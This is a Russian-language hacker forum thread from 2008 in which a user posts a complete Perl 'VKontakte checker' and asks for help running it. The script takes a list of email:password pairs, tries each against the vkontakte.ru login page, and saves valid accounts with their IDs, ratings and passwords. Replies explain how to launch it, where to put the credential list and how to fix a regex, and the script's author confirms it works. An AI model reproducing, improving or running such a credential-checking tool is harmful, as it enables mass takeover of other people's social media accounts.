Помогите запустить VKontakte checker на PERL.

Discussion in 'PHP' started by MaTpOc, 23 Jun 2008.

  1. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    Вот сам скрипт:
    Code:
    #!/usr/bin/perl
    # VKONTAKTE cheker
    # Original author Xszz.AoH
    # Modified by svesve
    # tnx to a4at members who help me with perl ;-)
    use strict;
    use LWP::UserAgent;
    
    use HTTP::Cookies;
    
    open (FILE , '<logs.txt');
    my @f = <FILE>;
    chomp @f;
    my $ua = LWP::UserAgent->new;
    my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    $ua->cookie_jar($cookies);
    open (OUT , '>>IDS_rate.txt');
    while (@f)
    {
    my ($mail, $pass) = split(/:/, shift(@f));
    
    my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
    my $suc = $req =~ /302 Found/;
    if ($suc )
    {
    $req = $ua->get('http://vkontakte.ru/index.php')->as_string;
    my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt/;
    my $idd=$2;
    $req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
    my $res = $1 if $req=~m/width:100px">(.{1,4})</;
    print "[rate=$res]:[id=$idd]:$mail:$pass\n";
    if (!$idd)
    {
    print "Account deleted \n";
    }
    print OUT $res.":".$idd.":".$mail.":".$pass."\n";
    }
    else{print"[-]bad login or password \n";}
    }
    close OUT;
    close FILE;
    
    Вроде все делаю так как надо, но когда нажимаю на скрипт он тут же закрывается, помогите плиз нубу!
     
    3 people like this.
  2. NeOz

    NeOz Banned

    Joined:
    26 Jul 2006
    Messages:
    27
    Likes Received:
    44
    Reputations:
    -5
    Запусти через cmd, посмотри что пишет
     
  3. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    это как?
     
  4. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    поподробней плиз и еси не трудно объясните плиз по понятней)
     
  5. NeOz

    NeOz Banned

    Joined:
    26 Jul 2006
    Messages:
    27
    Likes Received:
    44
    Reputations:
    -5
    пуск -> выполнить -> cmd
    и там укажи путь до твоего .pl файла
     
  6. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    я прописал а там пишет тип не является командой....
     
  7. [Dezzter]

    [Dezzter] Elder - Старейшина

    Joined:
    26 Nov 2007
    Messages:
    182
    Likes Received:
    131
    Reputations:
    3
    Ты Perl установил?
     
  8. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    да, ActivePerl установил, у меня др скрипты на перле пашут, а этот открывается и тут же закрывается((((
     
  9. [Dezzter]

    [Dezzter] Elder - Старейшина

    Joined:
    26 Nov 2007
    Messages:
    182
    Likes Received:
    131
    Reputations:
    3
    епт, ты его через cmd открывай, не помню точно, но вроде так perl C:\Perl\bin Путь до скрипта, я просто с пёрлом пару раз дело имел, точно не помню как, ну пробуй
     
  10. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    написал так: C:\Perl\bin\perl.exe нажал ентер и ничего не появилось
     
    1 person likes this.
  11. parasha

    parasha Banned

    Joined:
    19 Jun 2008
    Messages:
    17
    Likes Received:
    6
    Reputations:
    0
    ты скрипту пaраметры задал?
     
  12. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    какие параметры???
     
  13. parasha

    parasha Banned

    Joined:
    19 Jun 2008
    Messages:
    17
    Likes Received:
    6
    Reputations:
    0
    ну че там c:\s.pl c:\spisok.txt c:\good.txt
     
  14. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    Посмотрите, может ошибка в скрипте???
     
  15. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    ПОВТОРЯЮ ЕЩЕ РАЗ крипт пашет
    использование c:\perl\bin\perl.exe check.pl

    предварительно в папке C:\perl\bin\ должен быть файл logs.txt с мылом:пасс
     
  16. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
  17. QuoFX

    QuoFX New Member

    Joined:
    15 Dec 2007
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    в 27 строчке хватит и этого:
    Code:
    my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
    
    
    ("&gt там вообще не нужно

    он id сцапает и так. а при оригинале еррор там лезет)
     
    1 person likes this.
  18. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    вечером выложу переделанную немного версиюю а то в этой слишком много запросов )
    точнее можно не лазя на рейт пхп снять рейтинг с главной
     
  19. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    пуск->выполнить->cmd
    cd C:\perl\bin
    perl cheker.pl 123456 log.txt
    где 123456 и log.txt параметры для скрипта
     
  20. comeoff

    comeoff New Member

    Joined:
    10 Mar 2008
    Messages:
    89
    Likes Received:
    3
    Reputations:
    0
    На ПХП можно как то прочекать существование анкеты с записью id существующей анкеты в файл? Очень пригодился бы такой скрипт, только на ПХП.
    Заранее СПС за ссылки/советы/работы.